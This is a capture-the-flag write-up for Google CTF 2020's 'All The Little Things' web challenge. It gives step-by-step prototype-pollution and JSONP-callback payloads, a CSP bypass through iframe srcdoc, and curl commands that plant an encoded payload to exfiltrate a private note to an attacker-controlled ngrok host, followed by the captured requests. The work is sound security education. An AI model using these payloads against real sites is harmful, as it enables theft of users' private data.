Tags: javascript web csrf xss prototype-pollution 

Rating: 5.0

# All The Little Things

The description is as follows:

```html
I left a little secret in a note, but it's private, private is safe.

Note: TJMike? from Pasteurize is also logged into the page.

https://littlethings.web.ctfcompetition.com
```

Read my [pasteurize write-up](https://github.com/zoeyg/public-write-ups/blob/master/googlectf-2020/pasteurize.md) before this one, as this write-up relies on the injection used in pasteurization. See the github link for the most up to date version of this write-up.

## Enumeration

The site is similar to pasteurize, but has a login system, and a list of notes are stored. There's also a `/settings` page where you can modify your name,
profile picture link, and theme. The site has a content security policy:

```
content-security-policy: default-src 'none';script-src 'self' 'nonce-b00149201d92096b';img-src https: http:;connect-src 'self';style-src 'self';base-uri 'none';form-action 'self';font-src https://fonts.googleapis.com
```

### Settings

At the bottom of the page is a comment ``. When we add it to the page's URL, an extra Debug textarea shows up, and an additional
debug.js source file is loaded. The update button sets `window.name` to the value in the textarea.

### Page Init

Various scripts are included in every page, and do some initialization on page load.

#### utils.js

`utils.js` has an event handler for `DOMContentLoaded` that makes a request to `/me`, which is a route that returns some JSON information about the user:

```
{"username":"zoey","img":"https://7713b3ef1338.ngrok.io/cloud.jpg","theme":{"cb":"set_dark_theme","options":{},"choice":2}}
```

#### user.js

That parsed JSON is then passed to `make_user_object` which creates a new `User` class object that has private values and no setters for properties on it.

```js
class User {
#username; #theme; #img
constructor(username, img, theme) {
this.#username = username
this.#theme = theme
this.#img = img
}
get username() {
return this.#username
}

get img() {
return this.#img
}

get theme() {
return this.#theme
}

toString() {
return `user_${this.#username}`
}
}

function make_user_object(obj) {

const user = new User(obj.username, obj.img, obj.theme);
window.load_debug?.(user);

// make sure to not override anything
if (!is_undefined(document[user.toString()])) {
return false;
}
document.getElementById('profile-picture').src=user.img;
window.USERNAME = user.toString();
document[window.USERNAME] = user;
update_theme();
}
```

#### debug.js

This file is included by the server if `__debug__` is defined in the query string. `make_user_object` calls `load_debug` defined in `debug.js`, which calls `JSON.parse` on `window.name` and then uses the resulting
value to extend the user object.

```js
// Extend user object
function load_debug(user) {
let debug;
try {
debug = JSON.parse(window.name);
} catch (e) {
return;
}

if (debug instanceof Object) {
Object.assign(user, debug);
}

if(user.verbose){
console.log(user);
}

if(user.showAll){
document.querySelectorAll('*').forEach(e=>e.classList.add('display-block'));
}

if(user.keepDebug){
document.querySelectorAll('a').forEach(e=>e.href=append_debug(e.href));
}else{
document.querySelectorAll('a').forEach(e=>e.href=remove_debug(e.href));
}

window.onerror = e =>alert(e);
}
```

#### theme.js

After the debug script, the theme is loaded via `update_theme` and a request to the `/theme?cb=set_dark_theme` route is made, which is a JSONP-like endpoint. The
code:

```js
function set_dark_theme(obj) {
const theme_url = "/static/styles/bootstrap_dark.css";
document.querySelector('#bootstrap-link').href = theme_url;
localStorage['theme'] = theme_url;
}

//...

function update_theme() {
const theme = document[USERNAME].theme;
const s = document.createElement('script');
s.src = `/theme?cb=${theme.cb}`;
document.head.appendChild(s);
}
```

### /theme

A request to `/theme?cb=set_dark_theme` returns the following

```js
set_dark_theme({"version":"b1.13.7","timestamp":1598252951983})
```

Doing some testing, it seems that the route supports the following regex for the callback name: `[A-Za-z0-9_.=]`. This should allow us to call a single function,
and then set at least one value to another. This seems like a good place to start. Lets try and override this callback value.

## Overriding the theme callback

Trying to modify the `POST /settings` route request values didn't yield any results, but the debug script allows us to extend the user object. After some experimentation, we
learn that if the first part of the `window.name` JSON is a value for `__proto__`, then lack of a setter on the `User` class no longer prevents us from adding our own theme object.
To test, open up `/settings?__debug__` and set `window.name` via the form or in the console. Then refresh the page to start the initialization sequence. The
following payload allows us to override the callback:

```json
{
"__proto__": {},
"theme": {
"cb": "alert"
}
}
```

If everything went properly, you should get an alert with `[object Object]`.

## Abusing the callback

We now have the ability to set one value to another. We can control things like `window.name`, `location.hash`, and `location.search`, and if we append
`toString` we can successfully assign an almost arbitrary string to what we want, since `toString` will just ignore the theme object, returning the
unaltered string. This should allow us to set arbitrary HTML with the following payload:

```json
{
"__proto__": {},
"theme": {
"cb": "document.body.innerHTML=window.name.toString"
},
"htmlGoesHere": "<h1>Hi!</h1>"
}
```

Setting `window.name` to the above should result in removing most of the page content and replacing it with the payload, so we now have arbitrary HTML injection.
Unfortunately, due to the content security policy, we can't do the traditional `` or use a `<script>` tag, because those aren't
executed when inserted via `innerHTML`.

## Multiple callbacks

After a *long* chain of trial and error, we came to a solution that allowed us to chain multiple callbacks. An `<iframe>` with a `srcdoc` attribute
allowed us to bypass the `innerHTML` `<script>` tag restriction that prevents execution, allowing for including multiple `/theme?cb=...` scripts. This
also works because scripts loaded inside `srcdoc` are able to access the outer window contents via `window.top`.

```json
{
"__proto__":{},
"theme":{
"cb":"document.body.innerHTML=window.name.toString"
},
"htmlGoesHere": "<iframe srcdoc='<script src=/theme?cb=window.top.document.body.innerHTML=window.top.location.search.toString></script>'>"
}
```

The above payload should result in the contents of the page being changed to just `?__debug__` if run on the `/settings?__debug__` route.

## Exfiltration

We considered trying to setup our own script tag since we could retrieve and set the nonce now, but decided to go with an idea that allowed us to concatenate the
text on the page with the url of a server we owned, and then make a request to it. This method should work even in the case of a more strict content security policy
that utilizes hashes instead of nonces.

### Concatenation

We realized we could concatenate two values via `innerText` with HTML similar to the following:

```html
<form id='concat'>
https://url.of.our.server/?
<div>value_to_concat</div>
</form>
```

Then `window.concat.innerText` would be `https://url.of.our.server/?value_to_concat`.

### Putting it all together

Now all that was left was to craft the payload, test it and send it to the admin(TJMike). We crafted a payload that would send us the full `innerText` of the `/note` page:

```json
{
"__proto__":{},
"theme":{
"cb":"document.body.firstElementChild.innerHTML=window.name.toString"
},
"payload":[
"<form id='concat'>https://0b7660a35154.ngrok.io/?<div></div></form>",
"<iframe srcdoc='<script src=/theme?cb=window.top.concat.firstElementChild.innerText=window.top.document.body.innerText.toString></script>'></iframe>",
"<iframe srcdoc='<script src=/theme?cb=window.top.location.href=window.top.concat.innerText.toString></script>'></iframe>"
]
}
```

In order, this payload should overwrite the contents of the `<nav>` element on the page with our arbitrary HTML containing the two additional script tags which result
in callback executions. The first grabs the `innerText` of the whole page, and places it in our concatenation `<div>` we added. The second callback retrieves the
`innerText` of the `concat` form which should be our URL plus the text of the page, and then sets the browser location to make the request. We
should then be able to grab the contents of the page by looking at the request sent to our local http server. Testing it on our own browser, we find that it works, though it
sometimes fails due to the response times from the server and the script loading order. The failures might be able to be mitigated by
adding in some extra script or image tags, maxing out the concurrent requests of the browser, making the load order more predictable for the scripts and callbacks we
care about.

### Getting The Note GUID

Lets incorporate our payload into the exploit for the previous pasteurization challenge. We'll need to set `window.name`(since it persists across pages) and then
change the `location.href` value to the `littlethings.web.ctfcompetition.com` page we want the text of. If you remember, certain characters are escaped, so lets base64 encode the JSON string. Don't forget to url encode as well so `+` doesn't end up as a space.

```sh
╭─[email protected] ~/dev/public-write-ups ‹master*›
╰─$ curl 'https://pasteurize.web.ctfcompetition.com/' --data-raw 'content[]=;window.name=atob(`eyJfX3Byb3RvX18iOiB7fSwidGhlbWUiOiB7ImNiIjogImRvY3VtZW50LmJvZHkuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJIVE1MPXdpbmRvdy5uYW1lLnRvU3RyaW5nIn0sImltZyI6ICIvIiwicGF5bG9hZCI6IFsiPGZvcm0gaWQ9J2NvbmNhdCc%2BaHR0cHM6Ly9jOGI1Y2ZiNzcxYTUubmdyb2suaW8vPzxkaXY%2BPC9kaXY%2BPC9mb3JtPiIsIjxpZnJhbWUgc3JjZG9jPSc8c2NyaXB0IHNyYz0vdGhlbWU%2FY2I9d2luZG93LnRvcC5jb25jYXQuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJUZXh0PXdpbmRvdy50b3AuZG9jdW1lbnQuYm9keS5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iLCI8aWZyYW1lIHNyY2RvYz0nPHNjcmlwdCBzcmM9L3RoZW1lP2NiPXdpbmRvdy50b3AubG9jYXRpb24uaHJlZj13aW5kb3cudG9wLmNvbmNhdC5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iXX0%3D`);if(navigator.userAgent.includes(`Headless`))location.href=`https://littlethings.web.ctfcompetition.com/note?__debug__`;//'
Found. Redirecting to /1a092148-9b81-40ea-8878-e885067efb98
```

The use of recaptcha means we need to use the browser to submit to the admin, so we added a check against `navigator.userAgent`, which results in the location change only
happening on the admin's browser(it's a headless version of chrome). That should allow us to be able to easily click the report button instead of the browser redirecting nearly instantly. So now all thats left is to visit the page of our public note created with the above command, and click `share with TJMike`. Of course you'll also need a server to receive the exfiltrated data. We end up with the following request on our server:

```http
GET /?{%22__proto__%22:%20{},%22theme%22:%20{%22cb%22:%20%22document.body.firstElementChild.innerHTML=window.name.toString%22},%22img%22:%20%22/%22,%22payload%22:%20[%22https://c8b5cfb771a5.ngrok.io/?%22,%22%22,%22%22]}Your%20notes22f23db6-a432-408b-a3e9-40fe258d500ff65ee90c-a06f-4055-ac8a-f2416005479bCreate%20new%20noteNote:%20Visibility:privatepublic
Host: c8b5cfb771a5.ngrok.io
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://littlethings.web.ctfcompetition.com/note?__debug__
Accept-Encoding: gzip, deflate, br
X-Forwarded-Proto: https
X-Forwarded-For: 104.155.55.51
```

So `22f23db6-a432-408b-a3e9-40fe258d500f` is the private note GUID.

### Get the contents of the private note

Now all we should have to do is change the url in our payload, and we should get the contents of the private note.

```sh
╭─[email protected] ~
╰─$ curl 'https://pasteurize.web.ctfcompetition.com/' --data-raw 'content[]=;window.name=atob(`eyJfX3Byb3RvX18iOiB7fSwidGhlbWUiOiB7ImNiIjogImRvY3VtZW50LmJvZHkuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJIVE1MPXdpbmRvdy5uYW1lLnRvU3RyaW5nIn0sImltZyI6ICIvIiwicGF5bG9hZCI6IFsiPGZvcm0gaWQ9J2NvbmNhdCc%2BaHR0cHM6Ly9jOGI1Y2ZiNzcxYTUubmdyb2suaW8vPzxkaXY%2BPC9kaXY%2BPC9mb3JtPiIsIjxpZnJhbWUgc3JjZG9jPSc8c2NyaXB0IHNyYz0vdGhlbWU%2FY2I9d2luZG93LnRvcC5jb25jYXQuZmlyc3RFbGVtZW50Q2hpbGQuaW5uZXJUZXh0PXdpbmRvdy50b3AuZG9jdW1lbnQuYm9keS5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iLCI8aWZyYW1lIHNyY2RvYz0nPHNjcmlwdCBzcmM9L3RoZW1lP2NiPXdpbmRvdy50b3AubG9jYXRpb24uaHJlZj13aW5kb3cudG9wLmNvbmNhdC5pbm5lclRleHQudG9TdHJpbmc%2BPC9zY3JpcHQ%2BJz48L2lmcmFtZT4iXX0%3D`);if(navigator.userAgent.includes(`Headless`))location.href=`https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__`;//'
Found. Redirecting to /8d52d02b-e4ff-4939-8a42-096d1d46e295
```

Now lets visit the note we created at `https://pasteurize.web.ctfcompetition.com/8d52d02b-e4ff-4939-8a42-096d1d46e295` and report our payload to TJMike. It might take a few tries for the timings of the callbacks to line up properly. If done right, your http server should get a request similar to the following

```http
GET /?{%22__proto__%22:%20{},%22theme%22:%20{%22cb%22:%20%22document.body.firstElementChild.innerHTML=window.name.toString%22},%22img%22:%20%22/%22,%22payload%22:%20[%22https://0b7660a35154.ngrok.io/?%22,%22%22,%22%22]}22f23db6-a432-408b-a3e9-40fe258d500fCongratulations!%20You%20came%20to%20the%20end%20of%20the%20world...As%20for%20a%20reward,%20here%20comes%20your%20juicy%20flag%20CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}Bored?%20Check%20out%20the%20fixed%20version%20https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com%20BUT%20IT%27S%20NOT%20SCORED!%20I.E.%20worth%200%20points%20and%20does%20not%20appear%20in%20challengesback
Host: 0b7660a35154.ngrok.io
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://littlethings.web.ctfcompetition.com/note/22f23db6-a432-408b-a3e9-40fe258d500f?__debug__
Accept-Encoding: gzip, deflate, br
X-Forwarded-Proto: https
X-Forwarded-For: 104.155.55.51
```

When we decode it and clean it up we get:

```
Congratulations! You came to the end of the world...As for a reward, here comes your juicy flag CTF{When_the_w0rld_c0mes_t0_an_end_all_that_matters_are_these_little_things}

Bored? Check out the fixed version https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com BUT IT'S NOT SCORED! I.E. worth 0 points and does not appear in challenges
```

Original writeup (https://github.com/zoeyg/public-write-ups/blob/master/googlectf-2020/all-the-little-things.md).